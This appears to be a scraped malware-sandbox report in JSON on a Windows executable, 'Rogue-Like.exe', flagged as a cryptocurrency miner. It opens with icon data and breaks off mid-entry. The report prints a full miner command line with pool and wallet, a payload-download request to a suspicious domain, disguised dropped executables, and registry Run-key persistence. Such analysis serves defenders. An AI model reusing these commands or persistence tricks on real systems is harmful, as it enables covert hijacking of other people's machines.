iIiIiIhwAAAAAAAHiIiIiIiIiIdwAAAAAAAAA4iIiIiIiIhwAAAAAAAAAAB4iIiIiIiBAAAAAAAAAAAAB3iIiIiHAAAAAAAAAAAAAAB3iIiHcAAAAAAAAAAAAAAAAHd3AAAAAAAAAADgAAAf4AAAP+AAAD/wAAA/+AAAH/gAAB/4AAA/+AAAP/gAAD/8AAB//gAAP/AAAB/wAAAf8AAAH/AAAB/wAAAf+AAAH/gAAB/4AAAfwAAAH8AAAB/AAAAf4AAAH/gAAA/4AAAH/AAAD/wAAD/+AAD//gAB//8AB///gA///8A//w==34:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAACI//iHd3d3eLu7MAAAAAAAiP/4+Hd3d3e7u7AAAAAAAH//+Ph3d3d3e7uzAAAAAAAIj4iIt3iHd3u7swAAAAAAB4h3d4d3h4h3u7cAAAAAAAf/d4h3d4h4d7u3AAAAAAAH+Iu7t3j/h3e7swAAAAAAB4iLu7uP/4d4u7MAAAAAAAB7iIiLuIiHeLuwAAAAAAAAA4+I+DiHB4i7MAAAAAAAAAOPuPd4iHN4cwAAAAAAAAUDd7iI////h3ARAAAAAAAHd3d4j/iI//h3dwAAAAAAB3d3j///////d3cQAAAAAAd3d493j//4eId3cAAAAAAHd3eHRH//h0d3d3AAAAAAB3d3h0R//3dHd3hwAAAAAAd3d4d3iIh3h4d4cAAAAAAHd4d3iIh3eId3d3AAAAAAF3eId4eHh3h3d3dwAAAAB4d3iHd3d3d4eHh3EAAAAAd3d3h3d3d4iHh4dxAAAAAAF4h3eIiIeIiIiHcAAAAAAAB4iId3iIiIiIiHcAAAAAAAeIiIiHd3eHd3d3cAAAAAADiIiIiIiIiIiIhwAAAAAAAHiIiIiIiIiIdwAAAAAAAAA4iIiIiIiIhwAAAAAAAAAAB4iIiIiIiBAAAAAAAAAAAAB3iIiIiHAAAAAAAAAAAAAAB3iIiHcAAAAAAAAAAAAAAAAHd3AAAAAAAAAADgAAAf4AAAP+AAAD/wAAA/+AAAH/gAAB/4AAA/+AAAP/gAAD/8AAB//gAAP/AAAB/wAAAf8AAAH/AAAB/wAAAf+AAAH/gAAB/4AAAfwAAAH8AAAB/AAAAf4AAAH/gAAA/4AAAH/AAAD/wAAD/+AAD//gAB//8AB///gA///8A//w==1a:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$22"}}],["$","$L23",null,{"initialData":{"schema_version":"1.0.15","sha256":"775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790979770990,"unified_at":"2026-10-02T22:22:50.990Z","metadata":{"hashes":{"sha256":"775823294439f2c459d1b13dde03091ba79221d2cd9956039b47dfe51832924a","sha1":"e63c85d2f13d3cf791ae9dc277599367398fdbcc","md5":"bf376bd1335b3e5e9e03999edb369952","sha512":"b2cfe3837dfb2be2382f018a97b36ed844963520e43087e5ced62d460e35a3731c61ce2fa5f97ca7816c89ed2f588116907bed29ca2678aef0873be782849166","ssdeep":"24576:6fTkD0E003ubc2MRgCmP/ZwIDzq+Iha5a0H1zCgaode+:eG00SSgCmP/ZwYj48a0VzCbode","ssdeep_chunks":["24576:6fTkD0E","24576:fTkD0E0","24576:TkD0E00","24576:kD0E003","24576:D0E003u","24576:0E003ub","24576:E003ubc","24576:003ubc2","24576:03ubc2M","24576:3ubc2MR","24576:ubc2MRg","24576:bc2MRgC","24576:c2MRgCm","24576:2MRgCmP","24576:MRgCmP/","24576:RgCmP/Z","24576:gCmP/Zw","24576:CmP/ZwI","24576:mP/ZwID","24576:P/ZwIDz","24576:/ZwIDzq","24576:ZwIDzq+","24576:wIDzq+I","24576:IDzq+Ih","24576:Dzq+Iha","24576:zq+Iha5","24576:q+Iha5a","24576:+Iha5a0","24576:Iha5a0H","24576:ha5a0H1","24576:a5a0H1z","24576:5a0H1zC","24576:a0H1zCg","24576:0H1zCga","24576:H1zCgao","24576:1zCgaod","24576:zCgaode","24576:Cgaode+","49152:6fTkD0E","49152:fTkD0E0","49152:TkD0E00","49152:kD0E003","49152:D0E003u","49152:0E003ub","49152:E003ubc","49152:003ubc2","49152:03ubc2M","49152:3ubc2MR","49152:ubc2MRg","49152:bc2MRgC","49152:c2MRgCm","49152:2MRgCmP","49152:MRgCmP/","49152:RgCmP/Z","49152:gCmP/Zw","49152:CmP/ZwI","49152:mP/ZwID","49152:P/ZwIDz","49152:/ZwIDzq","49152:ZwIDzq+","49152:wIDzq+I","49152:IDzq+Ih","49152:Dzq+Iha","49152:zq+Iha5","49152:q+Iha5a","49152:+Iha5a0","49152:Iha5a0H","49152:ha5a0H1","49152:a5a0H1z","49152:5a0H1zC","49152:a0H1zCg","49152:0H1zCga","49152:H1zCgao","49152:1zCgaod","49152:zCgaode","49152:Cgaode+","24576:eG00SSg","24576:G00SSgC","24576:00SSgCm","24576:0SSgCmP","24576:SSgCmP/","24576:SgCmP/Z","24576:CmP/ZwY","24576:mP/ZwYj","24576:P/ZwYj4","24576:/ZwYj48","24576:ZwYj48a","24576:wYj48a0","24576:Yj48a0V","24576:j48a0Vz","24576:48a0VzC","24576:8a0VzCb","24576:a0VzCbo","24576:0VzCbod","24576:VzCbode"],"imphash":"a6b79195015e1e45d816e61ee943224b"},"file_info":{"file_name":"Rogue-Like.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":1047040,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1515875425000,"last_seen":1544272548000,"last_multi_scan":1544272548000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["miner"]},"stats":{"av":{"malicious_count":0,"suspicious_count":0,"total_engines":0},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":0},"sandbox_signatures":{"informative_count":29,"suspicious_count":27,"malicious_count":13,"total":69},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 7898-492-0000000140031E84\n SetUnhandledExceptionFilter@KERNEL32.dll at 7898-4917-0000000140031E54\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00010551-00003060-16349-15-3F121E84","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".text\" is zero\n Raw size of \".data\" is zero\n Raw size of \".pdata\" is zero\n Raw size of \".vmp0\" is zero\n Raw size of \".code\" is zero\n Raw size of \".rdata\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetLocalTime@KERNEL32.dll at 7898-3180-000000014007FA60\n GetSystemTimeAsFileTime@KERNEL32.dll at 7898-1608-000000014002AAC4\n GetLocalTime@KERNEL32.dll at 7898-1122-00000001400756D4\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00010551-00003060-16349-555-3F11AAC4\n GetLocalTime@KERNEL32.DLL at 00010551-00003060-8095-2183-3F1656D4\n GetLocalTime@KERNEL32.DLL at 00010551-00003060-8095-4025-3F16FA60\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00010551-00003060-8095-5665-3F12AE0A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.dll at 7898-2063-0000000140039C83\n GetTimeZoneInformation@KERNEL32.DLL at 00010551-00003060-8095-2911-3F129C83","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 7898-1509-0000000140019ED8\n GetVersionExW@KERNEL32.DLL at 00010551-00003060-8095-2524-3F109ED8","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.dll at 7898-3131-000000014007C958\n GetDiskFreeSpaceExW@KERNEL32.dll at 7898-3132-000000014007CA70\n GetDiskFreeSpaceW@KERNEL32.dll at 7898-3133-000000014007CB8C\n GetDiskFreeSpaceExW@KERNEL32.DLL at 00010551-00003060-8095-3976-3F16C958\n GetDiskFreeSpaceExW@KERNEL32.DLL at 00010551-00003060-8095-3977-3F16CA70\n GetDiskFreeSpaceW@KERNEL32.DLL at 00010551-00003060-8095-3978-3F16CB8C","origin":"Hybrid Analysis Technology","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"$24","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"$25","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"\"Host.exe\" queries volume information of \"%WINDIR%\\Fonts\\times.ttf\" at 00013107-00002908-00000046-49786904","origin":"API Call","relevance":2,"id":"api-11","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"Host.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\")\n \"Host.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\OUTLOOK.EXE\"; Key: \"PATH\"; Value: \"00000000010000005800000043003A005C00500072006F006700720061006D002000460069006C00650073005C004D006900630072006F0073006F006600740020004F00660066006900630065005C004F0066006600690063006500310034005C000000\")\n \"Host.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\HOST.EXE\")\n \"Host.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\HOST.EXE\")","origin":"Registry Access","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"$26","origin":"Registry Access","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$27","origin":"Registry Access","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"kjoserty.xyz\"\n \"iplogger.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"185.224.137.25:80\"\n \"88.99.66.31:443\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Contains ability to register hotkeys","description":"RegisterHotKey@USER32.dll at 7898-1223-0000000140009997\n UnregisterHotKey@USER32.dll at 7898-4864-000000014000B8F8\n RegisterHotKey@USER32.DLL at 00010551-00003060-8095-2248-3F0F9997","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-15","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\Host.txt\"\n \"\" created file \"%TEMP%\\Host.exe\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\!IECompat!Mutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\MSIMGSIZECacheMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\_!SHMSFTHISTORY!_\"\n \"!IECompat!Mutex\"\n \"Local\\MSIMGSIZECacheMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /wp-content/uploads/Host.txt HTTP/1.1User-Agent: AutoItHost: kjoserty.xyzCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$28","origin":"Monitored Target","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"Host.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"$29","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"Host.exe\" searching for class \"MS_AutodialMonitor\"\n \"Host.exe\" searching for class \"MS_WebCheckMonitor\"","origin":"API Call","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$2a","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"schtasks.exe\" connecting to \"\\ThemeApiPort\"\n \"Host.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"Host.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"\n \"MicrosoftShellHost.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"\n \"ShellExperienceHost.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"\n \"1BB09BEEC155258835C193A7AA85AA5B_AC85A8C4501E1E5E1513F95D3B838B12\" has type \"data\"\n \"F0Z2BABH.txt\" has type \"ASCII text\"\n \"5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220\" has type \"data\"\n \"Host[1].txt\" has type \"data\"\n \"5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4\" has type \"data\"\n \"1fwr47[1].png\" has type \"PNG image data 1 x 1 1-bit colormap non-interlaced\"\n \"Host.txt\" has type \"data\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$2b","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2c","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"schtasks.exe\" opened \"\\Device\\KsecDD\"\n \"Host.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"MicrosoftShellHost.exe\" was detected as \"tElock v1.0 (private) -> tE!\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Contains ability to block user input","description":"BlockInput@USER32.dll at 7898-3307-0000000140087571\n BlockInput@USER32.DLL at 00010551-00003060-8095-4152-3F177571","origin":"Hybrid Analysis Technology","relevance":7,"id":"stream-26","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"Host.exe\" is protecting memory with PAGE_GUARD access rights","origin":"API Call","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 33 calls to GetProcAddress@KERNEL32.dll at 7898-1896-00000001400272E8\n Found 33 calls to GetProcAddress@KERNEL32.DLL at 00010551-00003060-16349-643-3F1172E8","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc\n .vmp1\n .vmp1 with unusual entropies 7.55313663918\n 7.99104826427\n 7.98420926756","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a reference to the Stratum Mining Protocol","description":"\"/c %ALLUSERSPROFILE%\\WindowsTask\\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0\" (Indicator: \"stratum+tcp://\"; File: \"cmd.exe\")\n \"-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0\" (Indicator: \"stratum+tcp://\"; File: \"MicrosoftShellHost.exe\")\n \"stratum+tcp://\" (Indicator: \"stratum+tcp://\"; File: \"MicrosoftShellHost.exe.1471329423\")","origin":"File/Memory","relevance":10,"id":"string-54","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 12973-7319-00000001402A49A9","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"Host.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"Host.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"External Systems","name":"Found an IP/URL artifact that was identified as malicious by at least one reputation engine","description":"2/66 reputation engines marked \"http://iplogger.com\" as malicious (3% detection rate)","origin":"External System","relevance":10,"id":"avtest-6","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LockResource@KERNEL32.dll at 7898-1620-000000014001B390\n FindResourceW@KERNEL32.dll at 7898-2970-0000000140073B20\n LockResource@KERNEL32.DLL at 00010551-00003060-16349-571-3F10B390\n FindResourceW@KERNEL32.DLL at 00010551-00003060-8095-3815-3F163B20","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"General","name":"Opened the service control manager","description":"\"Host.exe\" called \"OpenSCManager\" requesting access rights \"SC_MANAGER_CONNECT\" (0x1)","origin":"API Call","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"Host.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"\n \"MicrosoftShellHost.exe\" has type \"PE32+ executable (console) x86-64 for MS Windows\"\n \"ShellExperienceHost.exe\" has type \"PE32+ executable (GUI) x86-64 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"ShellExperienceHost.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"SHELLEXPERIENCEHOST\"; Value: \"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Network Related","name":"Contacts Random Domain Names","description":"\"kjoserty.xyz\" seems to be random","origin":"Network Traffic","relevance":5,"id":"network-6","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"255.255.255.255\"\n Heuristic match: \"clhf03028ja188.138.33.220iplogger.com/1024356764300831486902387404167730641323*\"\n \"5.255.255.255\"\n \"188.138.33.220\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Pattern Matching","name":"Contains ability to download files from the internet","description":"InternetReadFile@WININET.dll at 7898-3263-0000000140085400\n InternetReadFile@WININET.dll at 7898-3265-00000001400854E8","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-17","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads terminal service related keys (often RDP related)","description":"\"Host.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")\n \"ShellExperienceHost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TERMINAL SERVER\"; Key: \"TSUSERENABLED\")","origin":"Registry Access","relevance":10,"id":"registry-61","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.dll at 7898-809-00000001400736AC\n CreateToolhelp32Snapshot@KERNEL32.dll at 7898-3508-0000000140095118\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00010551-00003060-16349-377-3F1636AC\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00010551-00003060-8095-4352-3F185118","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to open the clipboard","description":"OpenClipboard@USER32.dll at 7898-3317-00000001400878DB\n OpenClipboard@USER32.DLL at 00010551-00003060-8095-4162-3F1778DB","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve keyboard strokes","description":"$2d","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-12","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"%ALLUSERSPROFILE%\\System32\\Logs\\ShellExperienceHost.exe\" marked \"%ALLUSERSPROFILE%\\System32\\Logs\\MicrosoftShellHost.exe\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"ShellExperienceHost.exe\" opened \"%ALLUSERSPROFILE%\\System32\\Logs\\MicrosoftShellHost.exe\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"$2e","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"MicrosoftShellHost.exe\" claimed CRC 0 while the actual is CRC 1089397","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"MicrosoftShellHost.exe\" has an entrypoint in section \".vmp1\"\n \"ShellExperienceHost.exe\" has an entrypoint in section \".vmp1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"$2f","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Environment Awareness","name":"Contains ability to check the local/global descriptor table","description":"sldt word ptr [rcx-47h] at 00010551-00003060-8095-659-3F128E38\n sldt word ptr [rax] at 12973-8489-00000001402D2436","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-25","sources":[{"report_type":"sandbox","report_id":"5a5a687a7ca3e1515f50aa8e"}]},{"level":"malicious","category":"Environment Awareness","name":"The input sample contains a known anti-VM trick","description":"Found VM detection artifact \"CPUID trick\" in 